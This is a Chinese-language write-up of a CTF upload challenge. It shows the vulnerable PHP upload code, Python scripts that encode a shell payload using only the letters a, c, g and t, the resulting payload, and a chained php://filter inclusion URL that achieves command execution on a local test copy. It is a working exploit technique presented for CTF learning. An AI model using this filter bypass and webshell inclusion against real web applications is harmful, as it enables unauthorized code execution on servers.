XDCTF中脑洞的upload题

这个题的解法是王一航大佬给我的启发,可以膜一膜大佬的简书,真的很6
附链接:http://www.jianshu.com/u/bf30f18c872c

题目背景

这个题目可以通过php的伪协议直接读取到源码,难点就是源码里的正则过滤。本题将初acgt以外的所有字符全部去掉了。于是,我们无法上传正常的木马

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
session_start();


if (isset($_FILES[file]) && $_FILES[file]['size'] < 65536) {
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}
?>

思路

看到王一航大佬在博客里提及用base64来解,恍然大悟。

###base64特性
base64是有容错机制的,可以尝试一下
看下图

base64的容错

这个图,我们首先测试了一下aaaa作为base64编码时的源码是多少,我们可以在图中看到。
之后,我们测试了iiii作为base64编码时源码是多少。最后我们使用aaaaaaaaaaaaaaaa作为base64编码,发现源码和iiii相同。
这里,base64使用的字符只有64个,除了这64个字符外,其他字符在解码时会被忽略,也就是之前所谓的容错性
那么,利用这个特性,我们结合上面的例子,只能有a一个字符存在时,我们可以通过base64的解码,创造出i,以此类推,当解码次数增多时,就可以通过极少的字符,拓展到64个字符,进而实现一切文字的base64编码

###实现
首先,我们先利用可以使用的acgtACGT来进行排列组合,来拓展字符,之后,反复利用,来达到目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
list_use = 'acgtACGT'
can_see = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/='



def make_list(list_now,id):
result = ''
with open("./list_"+id+".txt","a+") as f:
for i in list_now:
for j in list_now:
for k in list_now:
for l in list_now:
sourlist = i+j+k+l
ordlist = sourlist.decode("base64")
for z in ordlist:
if z in can_see:
result += z
if len(result) == 1:
f.writelines(sourlist+"******"+result+"\n")
result = ''

这里,我贴了一个函数,编程方式采用了很简单,很粗暴的方式,将排列组合的所以内容写入文件。简单粗暴,易懂,虽然很low。。。。。。
之后,我们将文件里的内容整理一下,就是不要出现重复的拓展字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def do_list(id):
a_list = ''
with open("./list_"+id+".txt","rb") as f:
x = f.read()
x = x.split('\n')
for i in x:
sour = i.split('******')
#print i
#print sour
mid_1 = sour[0]
mid_2 = sour[1][0]
if mid_2 not in a_list:
a_list += mid_2
with open("./list_do"+id+".txt","a+") as fb:
fb.writelines(mid_1+"******"+mid_2+"\n")
return a_list

同样简单粗暴,是不是很傻,很可爱。将整理完的文件另存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def change(id,ord_base):
result = ''
mid_1 = []
mid_2 = []
with open("./list_do"+id+".txt","rb") as f:
x = f.read()
x = x.split('\n')
for i in x:
sour = i.split('******')
#print i
#print sour
mid_1.append(sour[0])
mid_2.append(sour[1][0])
for j in ord_base:
num = mid_2.index(j)
result += mid_1[num]
return result

最后,这个就是转换的过程,就是从目标字符的base64编码,向下转换,直到只有acgt出现

结果

我得到了这个文件:

1
aaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatGgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaagatGaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaaaaagGcagTGaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaaTaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgattaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcTAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattgTaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaaAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgCtcaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaagGcagTGaaaaaaaaaaAaaaAaaaaaaaaaaaAaagatCaaaaaaaaaAaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaagatagCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgGaaaaaaaaaaaaaaaAaaagaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgGaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaaaaagGcagTGaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatCaaaaaaaaaAaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaagaaTAaaaaaaaaaagatGaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgGaaaaaaaaaaaaaaaAaaaAaaaaaaaaaaaAaacaaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaTaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgatTaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacgaaaaaaaaaaaAaaaAaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaagataaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtccaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaTaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatTaaaaaaaaaaaaaAaaaAaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaaTaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatGgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaagatagCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaagatCgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaagattaaaa

各位可以把它base64解码4次,就得到了我们需要的东西

解码4次

那么,这就完成了

解题

因为我主要去注意upload.php了,所以,没有保存其他的源码,本地复现,也就直接写个页面,include就行
那么我们将生成的文件名字设置为exp.php.txt,这点比较简单
上传上去就变成了exp.php

上传

然后在包含的页面,我们可以这样写
url如下:

1
http://127.0.0.1/2017xdctf/include.php?file=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=./tmp/8a1b5fc5f0fe17e9ba8538a991871371/exp.php

结果:

dir执行

可以看到,dir命令执行了

感谢老爷打赏
显示 Gitment 评论
undefined